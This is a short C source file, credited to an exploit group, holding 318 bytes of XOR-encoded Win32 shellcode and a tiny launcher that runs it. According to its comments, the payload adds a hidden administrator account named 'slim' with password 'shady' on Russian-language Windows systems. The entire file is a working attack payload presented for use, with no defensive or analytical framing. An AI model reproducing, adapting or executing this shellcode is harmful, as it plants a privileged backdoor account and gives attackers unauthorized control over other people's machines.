/* \ win32 useradd shellcode for russian systems / by Darkeagle \ ExploiterZ Lab / http://exploiterz.org \ */ // add user "slim" with password "shady" with admin prem. in Russian Systems unsigned char data[318] = { 0xEB, 0x0F, 0x58, 0x80, 0x30, 0x17, 0x40, 0x81, 0x38, 0x6D, 0x61, 0x7A, 0x61, 0x75, 0xF4, 0xEB, 0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF, 0xFE, 0xB6, 0x17, 0x17, 0x17, 0x4A, 0x42, 0x26, 0xCC, 0x73, 0x9C, 0x14, 0x57, 0x84, 0x9C, 0x54, 0xE8, 0x57, 0x62, 0xEE, 0x9C, 0x44, 0x14, 0x71, 0x26, 0xC5, 0x71, 0xAF, 0x17, 0x07, 0x71, 0x96, 0x2D, 0x5A, 0x4D, 0x63, 0x13, 0x3E, 0xD5, 0xFC, 0xE2, 0x9E, 0xC4, 0x9C, 0x6D, 0x2B, 0x16, 0xC0, 0x14, 0x48, 0x6F, 0x9C, 0x5C, 0x0F, 0x9C, 0x64, 0x37, 0x9C, 0x6C, 0x33, 0x16, 0xC1, 0x16, 0xC0, 0xEB, 0xBA, 0x16, 0xC7, 0x81, 0x90, 0xEA, 0x46, 0x26, 0xDE, 0x97, 0xD6, 0x18, 0xE4, 0xB1, 0x65, 0x1D, 0x81, 0x4E, 0x90, 0xEA, 0x63, 0x18, 0x50, 0x50, 0xF5, 0xF1, 0xA9, 0x18, 0x17, 0x17, 0x17, 0x3E, 0xD9, 0x3E, 0xE0, 0xFC, 0xFC, 0x26, 0xD7, 0x71, 0x9C, 0x10, 0xD6, 0xF7, 0x15, 0x9C, 0x64, 0x0B, 0x16, 0xC1, 0x16, 0xD1, 0xBA, 0x16, 0xC7, 0x9E, 0xD1, 0x9E, 0xC0, 0x4A, 0x9A, 0x92, 0x0B, 0x17, 0x17, 0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x12, 0x17, 0x17, 0x17, 0x9A, 0x9A, 0x27, 0x17, 0x17, 0x17, 0x46, 0xE8, 0xC7, 0x9A, 0x92, 0x33, 0x17, 0x17, 0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x17, 0x17, 0x17, 0x17, 0xE8, 0xC7, 0xFF, 0x4D, 0xE8, 0xE8, 0xE8, 0x50, 0x72, 0x63, 0x47, 0x65, 0x78, 0x74, 0x56, 0x73, 0x73, 0x65, 0x72, 0x64, 0x64, 0x17, 0x5B, 0x78, 0x76, 0x73, 0x5B, 0x7E, 0x75, 0x65, 0x76, 0x65, 0x6E, 0x56, 0x17, 0x40, 0x7E, 0x79, 0x52, 0x6F, 0x72, 0x74, 0x17, 0x52, 0x6F, 0x7E, 0x63, 0x47, 0x65, 0x78, 0x74, 0x72, 0x64, 0x64, 0x17, 0x74, 0x7A, 0x73, 0x37, 0x38, 0x74, 0x37, 0x79, 0x72, 0x63, 0x37, 0x62, 0x64, 0x72, 0x65, 0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x37, 0x64, 0x7F, 0x76, 0x73, 0x6E, 0x31, 0x31, 0x79, 0x72, 0x63, 0x37, 0x7B, 0x78, 0x74, 0x76, 0x7B, 0x70, 0x65, 0x78, 0x62, 0x67, 0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0xF7, 0xF3, 0xFB, 0xFF, 0xFA, 0xFF, 0xE6, 0xE5, 0xE7, 0xF7, 0xE5, 0xF9, 0xE7, 0xEC, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x17, 0x6D, 0x61, 0x7A, 0x61 }; int main() { void (*c0d3)(); printf("Win32 \"adduser shellcode\"\n"); *(int*)&c0d3 = data; c0d3(); }